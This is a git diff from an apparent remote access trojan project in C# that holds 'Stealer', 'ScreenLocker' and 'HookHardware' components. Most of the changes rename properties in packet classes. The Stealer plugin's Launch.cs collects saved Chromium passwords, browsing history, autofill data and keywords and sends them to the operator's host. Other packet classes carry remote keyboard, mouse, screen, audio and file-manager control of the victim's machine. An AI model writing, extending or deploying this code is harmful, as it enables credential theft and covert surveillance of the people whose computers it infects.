diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed
new file mode 100644
index 00000000..dddcc31e
Binary files /dev/null and b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.AssemblyReference.cache
index a0344bf6..69ab6a5b 100644
Binary files a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.CoreCompileInputs.cache
index 1efbeee0..bf710151 100644
--- a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-ccfc3dad2de2771c5d76747e16bb16ba19a4e937
+4ee2c55d96ccba7b426c45d4534a168284bdaac5
diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.dll b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.dll
index fa33db9a..8143fdc1 100644
Binary files a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.dll and b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.dll differ
diff --git a/Remote Access Tool/Plugins/Stealer/ClientHandler.cs b/Remote Access Tool/Plugins/Stealer/ClientHandler.cs
index 1dd37a96..77f1d690 100644
--- a/Remote Access Tool/Plugins/Stealer/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/Stealer/ClientHandler.cs
@@ -86,7 +86,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/Stealer/Launch.cs b/Remote Access Tool/Plugins/Stealer/Launch.cs
index 60d24666..6c8ecf15 100644
--- a/Remote Access Tool/Plugins/Stealer/Launch.cs
+++ b/Remote Access Tool/Plugins/Stealer/Launch.cs
@@ -14,38 +14,38 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.RECOVERY_PASSWORDS:
- PasswordsPacket passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, passwordsPacket);
+ PasswordsPacket passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, passwordsPacket);
break;
case PacketType.RECOVERY_HISTORY:
- HistoryPacket historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, historyPacket);
+ HistoryPacket historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, historyPacket);
break;
case PacketType.RECOVERY_AUTOFILL:
- AutofillPacket autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key ,autofillPacket);
+ AutofillPacket autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key ,autofillPacket);
break;
case PacketType.RECOVERY_KEYWORDS:
- KeywordsPacket keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.baseIp,loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, keywordsPacket);
+ KeywordsPacket keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.BaseIp,loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, keywordsPacket);
break;
case PacketType.RECOVERY_ALL:
- passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.baseIp, loadingAPI.HWID);
- historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.baseIp, loadingAPI.HWID);
- autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.baseIp, loadingAPI.HWID);
- keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.baseIp, loadingAPI.HWID);
+ passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);
+ historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);
+ autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);
+ keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, passwordsPacket);
- ClientSender(loadingAPI.host, loadingAPI.key, historyPacket);
- ClientSender(loadingAPI.host, loadingAPI.key, autofillPacket);
- ClientSender(loadingAPI.host, loadingAPI.key, keywordsPacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, passwordsPacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, historyPacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, autofillPacket);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, keywordsPacket);
break;
default:
diff --git a/Remote Access Tool/Plugins/Stealer/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Stealer/Properties/AssemblyInfo.cs
index 8042d7f9..6a5aa3b9 100644
--- a/Remote Access Tool/Plugins/Stealer/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Stealer/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.AssemblyReference.cache
index bdacf6d7..b1576623 100644
Binary files a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache
index e0716105..0a6b36dc 100644
--- a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-ed9851e8ce95d2895893c8f53f9cf99378134d3d
+de156314dddb907d39d927f419e4e8c0eef07411
diff --git a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.dll b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.dll
index 89fdc873..fdd4626d 100644
Binary files a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.dll and b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.dll differ
diff --git a/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs b/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs
index c84c6515..e664c3da 100644
--- a/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Utils/HookHardware/bin/Release/HookHardware.dll b/Remote Access Tool/Utils/HookHardware/bin/Release/HookHardware.dll
deleted file mode 100644
index 7ce09054..00000000
Binary files a/Remote Access Tool/Utils/HookHardware/bin/Release/HookHardware.dll and /dev/null differ
diff --git a/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.AssemblyReference.cache b/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.AssemblyReference.cache
index d6c03d00..44ffcf3e 100644
Binary files a/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.AssemblyReference.cache and b/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.dll b/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.dll
index 7ce09054..6963d851 100644
Binary files a/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.dll and b/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.dll differ
diff --git a/Remote Access Tool/Utils/PacketLib/Interface/IPacket.cs b/Remote Access Tool/Utils/PacketLib/Interface/IPacket.cs
index 84d59fbc..8f13493b 100644
--- a/Remote Access Tool/Utils/PacketLib/Interface/IPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Interface/IPacket.cs
@@ -9,13 +9,13 @@ namespace PacketLib
{
public interface IPacket
{
- PacketType packetType { get; }
- PacketState packetState { get; set; }
- byte[] plugin { get; set; }
- string baseIp { get; set; }
+ PacketType PacketType { get; }
+ PacketState PacketState { get; set; }
+ byte[] Plugin { get; set; }
+ string BaseIp { get; set; }
string HWID { get; set; }
- string status { get; set; }
- string datePacketStatus { get; set; }
- int packetSize { get; set; }
+ string Status { get; set; }
+ string DatePacketStatus { get; set; }
+ int PacketSize { get; set; }
}
}
diff --git a/Remote Access Tool/Utils/PacketLib/LoadingAPI.cs b/Remote Access Tool/Utils/PacketLib/LoadingAPI.cs
index b765e40d..94a2a24c 100644
--- a/Remote Access Tool/Utils/PacketLib/LoadingAPI.cs
+++ b/Remote Access Tool/Utils/PacketLib/LoadingAPI.cs
@@ -9,10 +9,10 @@ namespace PacketLib
{
public class LoadingAPI
{
- public Host host { get; set; }
- public string baseIp { get; set; }
+ public Host Host { get; set; }
+ public string BaseIp { get; set; }
public string HWID { get; set; }
- public string key { get; set; }
- public IPacket currentPacket { get; set; }
+ public string Key { get; set; }
+ public IPacket CurrentPacket { get; set; }
}
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioCapturePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioCapturePacket.cs
index b3b46da5..291cb734 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioCapturePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioCapturePacket.cs
@@ -12,24 +12,24 @@ public class RemoteAudioCapturePacket : IPacket
{
public RemoteAudioCapturePacket(PacketType packetType) : base()
{
- this.packetType = packetType;
+ this.PacketType = packetType;
}
public RemoteAudioCapturePacket(byte[] audioCapture, int bytesRecorded) : base()
{
- this.packetType = PacketType.AUDIO_RECORD_ON;
+ this.PacketType = PacketType.AUDIO_RECORD_ON;
this.audioCapture = audioCapture;
this.bytesRecorded = bytesRecorded;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public int quality { get; set; }
public int index { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioPacket.cs
index ee52f52c..68af2084 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioPacket.cs
@@ -13,26 +13,26 @@ public class RemoteAudioPacket : IPacket
{
public RemoteAudioPacket() : base()
{
- this.packetType = PacketType.AUDIO_GET_DEVICES;
+ this.PacketType = PacketType.AUDIO_GET_DEVICES;
}
public RemoteAudioPacket(List audioDevices, string baseIp, string HWID) : base()
{
- this.packetType = PacketType.AUDIO_GET_DEVICES;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.AUDIO_GET_DEVICES;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.audioDevices = audioDevices;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public List audioDevices { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs
index cec7f60f..d36b6335 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs
@@ -12,17 +12,17 @@ public class BaseIpPacket : IPacket
{
public BaseIpPacket(string baseIp) : base()
{
- this.packetType = PacketType.CONNECTED;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.CONNECTED;
+ this.BaseIp = baseIp;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
}
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs
index d68b159c..e8db19cc 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs
@@ -12,16 +12,16 @@ public class ClosePacket : IPacket
{
public ClosePacket() : base()
{
- this.packetType = PacketType.CLOSE_CLIENT;
+ this.PacketType = PacketType.CLOSE_CLIENT;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
}
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs
index 1988526c..2485e54a 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs
@@ -15,9 +15,9 @@ public class ConnectedPacket : IPacket
//client
public ConnectedPacket() : base()
{
- plugin = null;
+ Plugin = null;
Microsoft.VisualBasic.Devices.Computer I = new Microsoft.VisualBasic.Devices.Computer();
- packetType = PacketType.CONNECTED;
+ PacketType = PacketType.CONNECTED;
Native.GetPhysicallyInstalledSystemMemory(out long lRam);
RAM = string.Format("{0}Gb", (ulong)((double)lRam / 1024d / 1024d));
HWID = HwidGen.HWID();
@@ -30,13 +30,13 @@ public ConnectedPacket() : base()
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string RAM { get; }
public string Is64Bit { get; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs
index 584b932a..b937b6cd 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs
@@ -12,16 +12,16 @@ public class UninstallPacket : IPacket
{
public UninstallPacket() : base()
{
- this.packetType = PacketType.UNINSTALL_CLOSE_CLIENT;
+ this.PacketType = PacketType.UNINSTALL_CLOSE_CLIENT;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
}
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs
index 0ac1ae58..5a16f0c7 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs
@@ -13,20 +13,20 @@ public class RemoteKeyboardPacket : IPacket
{
public RemoteKeyboardPacket(byte keyCode, bool isDown) : base()
{
- this.packetType = PacketType.RM_KEYBOARD;
+ this.PacketType = PacketType.RM_KEYBOARD;
this.keyCode = keyCode;
this.isDown = isDown;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public byte keyCode { get; set; }
public bool isDown { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs
index 5d8eaf5a..6a4dee92 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs
@@ -25,7 +25,7 @@ public enum MouseTypeAction
}
public RemoteMousePacket(MouseTypeAction mouseTypeAction, int x = 0, int y = 0) : base()
{
- this.packetType = PacketType.RM_MOUSE;
+ this.PacketType = PacketType.RM_MOUSE;
this.mouseTypeAction = mouseTypeAction;
this.x = x;
@@ -33,13 +33,13 @@ public RemoteMousePacket(MouseTypeAction mouseTypeAction, int x = 0, int y = 0)
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public MouseTypeAction mouseTypeAction { get; set; }
public int x { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs
index c599896c..b387f755 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs
@@ -12,24 +12,24 @@ public class RemoteViewerPacket : IPacket
{
public RemoteViewerPacket(PacketType packetType) : base()
{
- this.packetType = packetType;
+ this.PacketType = packetType;
}
public RemoteViewerPacket(PacketType packetType, string baseIp, string HWID) : base()
{
- this.packetType = packetType;
- this.baseIp = baseIp;
+ this.PacketType = packetType;
+ this.BaseIp = baseIp;
this.HWID = HWID;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public byte[] desktopPicture { get; set; }
public int height { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs
index 779f28cd..f19f3f29 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs
@@ -13,7 +13,7 @@ public class DeleteFilePacket : IPacket
//server
public DeleteFilePacket(string path, string name, long fileTicket) : base()
{
- packetType = PacketType.FM_DELETE_FILE;
+ PacketType = PacketType.FM_DELETE_FILE;
this.path = path;
this.name = name;
@@ -23,8 +23,8 @@ public DeleteFilePacket(string path, string name, long fileTicket) : base()
//client
public DeleteFilePacket(string path, string name, bool deleted, string baseIp, string HWID, long fileTicket) : base()
{
- packetType = PacketType.FM_DELETE_FILE;
- this.baseIp = baseIp;
+ PacketType = PacketType.FM_DELETE_FILE;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.fileTicket = fileTicket;
@@ -34,13 +34,13 @@ public DeleteFilePacket(string path, string name, bool deleted, string baseIp, s
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public long fileTicket { get; set; }
public string path { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs
index d68027c4..2929d22d 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs
@@ -14,27 +14,27 @@ public class DiskPacket : IPacket
//server
public DiskPacket() : base()
{
- packetType = PacketType.FM_GET_DISK;
+ PacketType = PacketType.FM_GET_DISK;
}
//client
public DiskPacket(List disks, string baseIp, string HWID) : base()
{
- packetType = PacketType.FM_GET_DISK;
- this.baseIp = baseIp;
+ PacketType = PacketType.FM_GET_DISK;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.disksList = disks;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public List disksList { get;}
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs
index 733a0c49..21d7b3e2 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs
@@ -13,7 +13,7 @@ public class DownloadFilePacket : IPacket
//server
public DownloadFilePacket(string path, long fileTicket) : base()
{
- this.packetType = PacketType.FM_DOWNLOAD_FILE;
+ this.PacketType = PacketType.FM_DOWNLOAD_FILE;
this.fileName = path;
this.fileTicket = fileTicket;
}
@@ -21,8 +21,8 @@ public DownloadFilePacket(string path, long fileTicket) : base()
//client
public DownloadFilePacket(byte[]file, string fileName, string baseIp, string HWID, long fileTicket) : base()
{
- this.packetType = PacketType.FM_DOWNLOAD_FILE;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.FM_DOWNLOAD_FILE;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.fileTicket = fileTicket;
@@ -31,13 +31,13 @@ public DownloadFilePacket(byte[]file, string fileName, string baseIp, string HWI
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public long fileTicket { get; set; }
public string fileName { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs
index fddfcb2f..92919a96 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs
@@ -14,7 +14,7 @@ public class FileManagerPacket : IPacket
//server
public FileManagerPacket(string path) : base()
{
- packetType = PacketType.FM_GET_FILES_AND_DIRS;
+ PacketType = PacketType.FM_GET_FILES_AND_DIRS;
this.path = path;
}
@@ -22,21 +22,21 @@ public FileManagerPacket(string path) : base()
//client
public FileManagerPacket(Dictionary> filesAndDirs, string baseIp, string HWID) : base()
{
- packetType = PacketType.FM_GET_FILES_AND_DIRS;
- this.baseIp = baseIp;
+ PacketType = PacketType.FM_GET_FILES_AND_DIRS;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.filesAndDirs = filesAndDirs;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string path { get; set; }
public Dictionary> filesAndDirs { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs
index 930325f3..974773ea 100644
